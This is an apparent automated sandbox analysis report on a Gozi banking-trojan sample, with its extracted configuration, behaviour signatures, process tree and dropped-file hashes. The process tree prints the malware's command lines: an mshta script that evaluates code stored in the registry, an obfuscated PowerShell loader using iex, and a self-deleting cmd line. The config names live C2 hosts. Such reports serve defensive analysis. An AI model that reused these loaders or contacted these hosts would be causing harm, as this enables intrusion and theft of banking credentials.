Analysis

  • max time kernel
    152s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-10-2023 18:43

General

  • Target

    ddce7321ecf07394badc64ef8b5fc6000b56c517f7ed6dc1506e4c6c8b4b29a6_JC.exe

  • Size

    296KB

  • MD5

    f5830dc3fe80761eb82a0754b1697e6b

  • SHA1

    9f25e979cb2de3857278645b60c4afa37d0e6702

  • SHA256

    ddce7321ecf07394badc64ef8b5fc6000b56c517f7ed6dc1506e4c6c8b4b29a6

  • SHA512

    8fc4bf848205a3d28dc457e0e09f0831336be36a0824e93818a85207a8a8a63597815918f53dd472cf99ec1f08f8a2aa7cb1a5b43cf7c9782de69899620298fa

  • SSDEEP

    3072:YaL9FpSv0N0aIlzHMyXxpJD4xXvw1h+XKwY1a/I6RMxY:tpF0vW0aIlf+/w1hIr2aI6G

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

185.247.184.139

62.72.33.155

incontroler.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

systemcheck.top

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3736
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:4952
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:3220
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2624
          • C:\Users\Admin\AppData\Local\Temp\ddce7321ecf07394badc64ef8b5fc6000b56c517f7ed6dc1506e4c6c8b4b29a6_JC.exe
            "C:\Users\Admin\AppData\Local\Temp\ddce7321ecf07394badc64ef8b5fc6000b56c517f7ed6dc1506e4c6c8b4b29a6_JC.exe"
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1172
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1172 -s 476
              3⤵
              • Program crash
              PID:3916
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Hube='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Hube).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\DD164BDA-982A-17AD-8A61-4C3B5E25409F\\\FolderOptions'));if(!window.flag)close()</script>"
            2⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4464
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name mauqywmmp -value gp; new-alias -name kjdlgojlw -value iex; kjdlgojlw ([System.Text.Encoding]::ASCII.GetString((mauqywmmp "HKCU:Software\AppDataLow\Software\Microsoft\DD164BDA-982A-17AD-8A61-4C3B5E25409F").MelodyTool))
              3⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3288
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5xjfxkub\5xjfxkub.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4112
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6B43.tmp" "c:\Users\Admin\AppData\Local\Temp\5xjfxkub\CSCF62E497D1AB942F1A13D8BAFF9F6B5A.TMP"
                  5⤵
                    PID:4816
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ciphxhqy\ciphxhqy.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1144
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6C9B.tmp" "c:\Users\Admin\AppData\Local\Temp\ciphxhqy\CSC644848F6DCC8401D86E9C61B92F7617.TMP"
                    5⤵
                      PID:2308
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\ddce7321ecf07394badc64ef8b5fc6000b56c517f7ed6dc1506e4c6c8b4b29a6_JC.exe"
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:2880
                • C:\Windows\system32\PING.EXE
                  ping localhost -n 5
                  3⤵
                  • Runs ping.exe
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  PID:3664
              • C:\Windows\syswow64\cmd.exe
                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                2⤵
                  PID:4240
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1172 -ip 1172
                1⤵
                  PID:3380

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\5xjfxkub\5xjfxkub.dll

                  Filesize

                  3KB

                  MD5

                  55aa44f5b2eab798ebbe905460853e0c

                  SHA1

                  3c2112d3209f5025e20d39892bf2f5a8e068eae9

                  SHA256

                  e171049cccf99f96449b4267914794bceb4ac721b4d06dc1b5fbffb3d5d5798d

                  SHA512

                  bb40831878f6d17ceb9b179299ed7447a3d47e3140ebcb8c68c319c690c128363ad59092de16ea839c5543a4bd1b70874c4bb22179a350d39d92d5aefee91ac4

                • C:\Users\Admin\AppData\Local\Temp\RES6B43.tmp

                  Filesize

                  1KB

                  MD5

                  d7ace75fcc0361c636b8e5b61b355d01

                  SHA1

                  da35147d575f435f3f52dcf8c97461f9909e845c

                  SHA256

                  3a26a4db9cfea1e2557cc8e80cfbfbcd8a990d6b96dba728bbc0d7e26ebfd02b

                  SHA512

                  56099e23224182e072d2d66bfc30eb988a9b4da6577df457ada7f06c87eb7fa592f1b7f8fd77c033e2335e2b59682a0b75da560e6f20f7fa278c353c6a8c5dc2

                • C:\Users\Admin\AppData\Local\Temp\RES6C9B.tmp

                  Filesize

                  1KB

                  MD5

                  0b5e1b8e7bf54cd528dfd277217f7654

                  SHA1

                  5963e0cfbe419c13ceb41ef233ee10f6ba839db4

                  SHA256

                  0f18cd6e871aaa8823ec0051d94e75c160810281a555d630343f42061bb75dd2

                  SHA512

                  62407e330eba59a853c45bceeb5d26763ffa9cacd6b370771e91903fd1dee8868d32736a46e267f91b9b246894a594239e0f7b9006a256763f538ad6814a5be9

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u3gue0qu.yvg.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\AppData\Local\Temp\ciphxhqy\ciphxhqy.dll

                  Filesize

                  3KB

                  MD5

                  9f6f6fadf8447dcd523594b09ef4b5f0

                  SHA1

                  1e98c74a2245728bd4c793deb39c8f137d36cfbf

                  SHA256

                  7d3f98e8e53593a255bd6d5b12442f27093067f44ebebb23f2fe3b270bbba610

                  SHA512

                  b3b81cccfc1d57a56f71b55361f0e83b37d98a8957037271f516923f2c2415183774d785794224511bf10271afe11c18790e6703d5ef231a966b44c9ac00afe7

                • \??\c:\Users\Admin\AppData\Local\Temp\5xjfxkub\5xjfxkub.0.cs

                  Filesize

                  405B

                  MD5

                  caed0b2e2cebaecd1db50994e0c15272

                  SHA1

                  5dfac9382598e0ad2e700de4f833de155c9c65fa

                  SHA256

                  21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                  SHA512

                  86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

                • \??\c:\Users\Admin\AppData\Local\Temp\5xjfxkub\5xjfxkub.cmdline

                  Filesize

                  369B

                  MD5

                  65dfc19c189c076766b6ba0391130653

                  SHA1

                  c7519b6194c9a1751681e958cc709f666230eb4f

                  SHA256

                  2c7a88afc502f7c48eaa9822e1db1e6d3f1c9492975db3d02c5c90911d0d4b6a

                  SHA512

                  248dff09ea184f702a660b96b2836ebe5b0b1361f91ce115389852747ecd95867f315d8d82dcf209f3bb74464ea7e7d71388cec3268cc20debd98840d19ae74a

                • \??\c:\Users\Admin\AppData\Local\Temp\5xjfxkub\CSCF62E497D1AB942F1A13D8BAFF9F6B5A.TMP

                  Filesize

                  652B

                  MD5

                  826d84c6fb73ff13d985b9ef6cc15520

                  SHA1

                  360fd22943e881447280ac29b3e5d2d4a4606f07

                  SHA256

                  5c90e75373789a44080e5d93ba03925f8c9cddc6310e21ffa6c608ecbf802b2a

                  SHA512

                  432f4ccf0da90127e1ff3cc98cccf2ed420fb244c9b6eed2c5624631905d559b5115d92eb3114b298493cf04857c1fb35c6c1c7506a329372f3a41759311e395

                • \??\c:\Users\Admin\AppData\Local\Temp\ciphxhqy\CSC644848F6DCC8401D86E9C61B92F7617.TMP

                  Filesize

                  652B

                  MD5

                  7d0a16eb36139e3e0247ae3d6e45b552

                  SHA1

                  751db8991f25c476f5f5c1a9a12706423dfe1935

                  SHA256

                  27796c590ecaae03fa121966e0a9f51cac6fcea4718f1de1c9beb4de191be253

                  SHA512

                  e91370fe26d660ebe65a1f567e1bf7d6d85365033918ef837d791daef973784fefb4b723c5b332d14e3db2e34790ee6859710cac39bab61b9a66166229d57fe8

                • \??\c:\Users\Admin\AppData\Local\Temp\ciphxhqy\ciphxhqy.0.cs

                  Filesize

                  406B

                  MD5

                  ca8887eacd573690830f71efaf282712

                  SHA1

                  0acd4f49fc8cf6372950792402ec3aeb68569ef8

                  SHA256

                  568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                  SHA512

                  2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

                • \??\c:\Users\Admin\AppData\Local\Temp\ciphxhqy\ciphxhqy.cmdline

                  Filesize

                  369B

                  MD5

                  a276342bd898f6fdaeb6c5ee2e6fdf13

                  SHA1

                  d3dcc7ef33a3ab6281afcbc52d08cd269ee97c1d

                  SHA256

                  753375a6974e59a40cbaa9210206addab03e390b53fda9dc81256cda0ead039a

                  SHA512

                  f7e9ff674c7965d12e3dcafe1eccbdd2fb1a94e4595066a6c52a44fb8f9db5244de1e127a67e226a2937e6f53d9e3912f82d5d9dd762530c2819ef106b90faf5

                • memory/1172-8-0x0000000002440000-0x0000000002540000-memory.dmp

                  Filesize

                  1024KB

                • memory/1172-1-0x0000000002440000-0x0000000002540000-memory.dmp

                  Filesize

                  1024KB

                • memory/1172-115-0x0000000000400000-0x0000000002290000-memory.dmp

                  Filesize

                  30.6MB

                • memory/1172-9-0x0000000002430000-0x000000000243B000-memory.dmp

                  Filesize

                  44KB

                • memory/1172-7-0x0000000000400000-0x0000000002290000-memory.dmp

                  Filesize

                  30.6MB

                • memory/1172-4-0x0000000003FF0000-0x0000000003FFD000-memory.dmp

                  Filesize

                  52KB

                • memory/1172-3-0x0000000000400000-0x0000000002290000-memory.dmp

                  Filesize

                  30.6MB

                • memory/1172-2-0x0000000002430000-0x000000000243B000-memory.dmp

                  Filesize

                  44KB

                • memory/2624-65-0x0000000001360000-0x0000000001361000-memory.dmp

                  Filesize

                  4KB

                • memory/2624-102-0x0000000009470000-0x0000000009514000-memory.dmp

                  Filesize

                  656KB

                • memory/2624-64-0x0000000009470000-0x0000000009514000-memory.dmp

                  Filesize

                  656KB

                • memory/2880-96-0x000001F320750000-0x000001F320751000-memory.dmp

                  Filesize

                  4KB

                • memory/2880-118-0x000001F3207B0000-0x000001F320854000-memory.dmp

                  Filesize

                  656KB

                • memory/2880-95-0x000001F3207B0000-0x000001F320854000-memory.dmp

                  Filesize

                  656KB

                • memory/3220-83-0x000001C4D7610000-0x000001C4D76B4000-memory.dmp

                  Filesize

                  656KB

                • memory/3220-114-0x000001C4D7610000-0x000001C4D76B4000-memory.dmp

                  Filesize

                  656KB

                • memory/3220-84-0x000001C4D75D0000-0x000001C4D75D1000-memory.dmp

                  Filesize

                  4KB

                • memory/3288-60-0x0000023174410000-0x0000023174418000-memory.dmp

                  Filesize

                  32KB

                • memory/3288-32-0x00000231744A0000-0x00000231744B0000-memory.dmp

                  Filesize

                  64KB

                • memory/3288-46-0x00000231743F0000-0x00000231743F8000-memory.dmp

                  Filesize

                  32KB

                • memory/3288-75-0x0000023174420000-0x000002317445D000-memory.dmp

                  Filesize

                  244KB

                • memory/3288-74-0x00007FFA23840000-0x00007FFA24301000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3288-26-0x0000023173E20000-0x0000023173E42000-memory.dmp

                  Filesize

                  136KB

                • memory/3288-62-0x0000023174420000-0x000002317445D000-memory.dmp

                  Filesize

                  244KB

                • memory/3288-33-0x00000231744A0000-0x00000231744B0000-memory.dmp

                  Filesize

                  64KB

                • memory/3288-31-0x00007FFA23840000-0x00007FFA24301000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3664-117-0x000001ACB7BA0000-0x000001ACB7C44000-memory.dmp

                  Filesize

                  656KB

                • memory/3664-103-0x000001ACB79B0000-0x000001ACB79B1000-memory.dmp

                  Filesize

                  4KB

                • memory/3664-101-0x000001ACB7BA0000-0x000001ACB7C44000-memory.dmp

                  Filesize

                  656KB

                • memory/3736-78-0x00000280F1390000-0x00000280F1391000-memory.dmp

                  Filesize

                  4KB

                • memory/3736-109-0x00000280F1840000-0x00000280F18E4000-memory.dmp

                  Filesize

                  656KB

                • memory/3736-77-0x00000280F1840000-0x00000280F18E4000-memory.dmp

                  Filesize

                  656KB

                • memory/4240-111-0x0000000000510000-0x0000000000511000-memory.dmp

                  Filesize

                  4KB

                • memory/4240-113-0x00000000009B0000-0x0000000000A48000-memory.dmp

                  Filesize

                  608KB

                • memory/4240-108-0x00000000009B0000-0x0000000000A48000-memory.dmp

                  Filesize

                  608KB

                • memory/4952-90-0x000001866E9A0000-0x000001866E9A1000-memory.dmp

                  Filesize

                  4KB

                • memory/4952-116-0x0000018670BA0000-0x0000018670C44000-memory.dmp

                  Filesize

                  656KB

                • memory/4952-89-0x0000018670BA0000-0x0000018670C44000-memory.dmp

                  Filesize

                  656KB